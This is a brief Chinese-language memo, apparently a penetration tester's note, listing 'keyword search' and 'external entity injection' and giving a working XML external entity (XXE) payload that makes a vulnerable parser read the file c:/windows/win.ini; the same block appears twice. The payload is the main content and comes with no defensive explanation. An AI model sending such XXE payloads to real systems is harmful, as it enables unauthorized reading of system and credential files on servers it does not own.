1、关键字搜索
2、外部实体注入
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT rtx ANY > <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]><rtx>&xxe;</rtx>
1、关键字搜索
2、外部实体注入
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT rtx ANY > <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]><rtx>&xxe;</rtx>